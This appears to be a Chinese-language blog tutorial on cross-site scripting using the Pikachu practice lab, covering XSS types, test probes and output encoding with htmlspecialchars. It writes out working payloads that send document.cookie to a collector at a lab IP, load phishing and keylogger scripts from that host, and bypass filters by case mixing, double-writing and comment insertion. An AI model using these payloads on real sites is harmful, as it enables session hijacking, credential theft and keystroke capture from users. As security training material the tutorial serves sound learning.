XSS跨站脚本攻击

XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,在网页中嵌入客户端恶意脚本代码,最常用javascript语言。(注意:叠成样式表CSS已经被占用所以叫XSS)

原因:输入没过滤,输出没编码。

危害:劫持用户cookie,钓鱼,挂马

分类:

1、反射性XSS(中危,一次性不保存在数据库,交互的地方,比如带参和输入更新),

2、储存型XSS(高危,长久保存在数据库),

3、DOM XSS(低危,无数据库交互,浏览器的dom节点),可能存在html文本框,URL文本框,样式等

操作:

在万能闭合'">后面插入语句<script>prompt(1)</script>

或者用弹窗语句'"><script>alert(1)</script>,弹出一个对话框1,如果能弹窗说明这里是有漏洞的。

示例,name变量没有进行过滤

cookie收集展示

设置下点击页面的时候返回地址,这样减少用户的疑问,也可以把返回的网址换成登录的网页

111'"><script>document.location = 'http://网站IP和端口/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

配置好返回的界面后,输入以下代码,提交然后刚才提交的那个电脑的cookie就保存在到pkxss里面了。且用户点击的界面在提交代码之后返回到之前配置的那个index.php上。

盲打获取账户密码

在不确定是否有注入点的地方输入后,登录后台可以把登录的账户和密码拿到,在md5解密就可以获得账户密码

111'"><script>document.location = 'http://192.168.246.11/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

post方式

钓鱼

'"><script src="http://192.168.246.11/pikachu/pkxss/xfish/fish.php"></script>

注意:再次点击的时候没有弹出,是因为已经保存这个电脑信息,需要浏览器清除下cookie

收集键盘信息

同源策略:浏览器都约定了"同源策略,禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

http:// www. oldboyedu.com :80 / news/index.php

协议 子域名 主域名 端口 资源地址

必须要全部一样才算同源

后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。

111'"><script src="http://192.168.246.11/pikachu/pkxss/rkeypress/rk.js"></script>,键盘记录rk.js执行,然后在页面任何位置输入就可以键盘输入记录

XSS绕过

前段绕过,大小写,双写,注释,编码

1、对前端的限制可以尝试进行抓包重发或者修改前端的HTML。比如修改输入框字符。

2、防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。比如:<sCRipT>alert('你吃饭像tuzi')</sCrIPt>,利用的是精准过滤,换成大小写就绕过了。也可以用其他标签比如框架iframe,类型style,标签svg

3、防止后台对输入的内容进行替换,采用拼拼凑的输入方法。比如:<sc<script>ript>alert(你吃饭像tuzi')</scr<script>ipt>

4、使用注释来干扰后台对输入内容的识别。比如:<sc<!--test-->ript>alert('你吃饭像tuzi')</scr<!--tshauie-->ipt>

5:、编码,保证输出的情况下后台代码过滤

htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体

可用的quotestyle类型:

ENT_COMPAT - 默认。仅编码双引号

ENT_QUOTES - 编码双引号和单引号

ENT_NOQUOTES - 不编码任何引

预定义的字符是:

& (和号)成为 &amp

" (双引号)成为 &quot

' (单引号)成为&#039

< (小于)成为 &lt

>(大于)成为 &gt

该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)

href输出:javascript:alert(1111)

相关推荐
毕设十刻13 小时前
基于Vue的餐厅收银系统s6150(程序 + 源码 + 数据库 + 调试部署 + 开发环境配置),配套论文文档字数达万字以上,文末可获取,系统界面展示置于文末
前端·数据库·vue.js
m0_6632340113 小时前
Python代码示例:数字求和实现
linux·服务器·前端
朝阳3914 小时前
react19【动态插槽】
前端
Marshmallowc14 小时前
为什么 Webpack 要打包?从 HTTP/1.1 限制到 HTTP/2 多路复用原理详解
前端·http·webpack
xkxnq14 小时前
第四阶段:Vue 进阶与生态整合(第 58 天)(Vue 项目部署:打包、上线与服务器配置)
服务器·前端·vue.js
雾削木14 小时前
使用 ESPHome 的核心指令
java·前端·javascript·单片机·嵌入式硬件
Kratzdisteln14 小时前
【MCM】mermaid
前端·javascript·html
冰暮流星14 小时前
javascript如何实现将一个整数倒过来输出
开发语言·前端·javascript
0思必得014 小时前
[Web自动化] 爬虫合规指南:从法律红线到安全实践
前端·爬虫·自动化·web自动化
Code小翊14 小时前
Vue 3 核心语法速查
前端·javascript·vue.js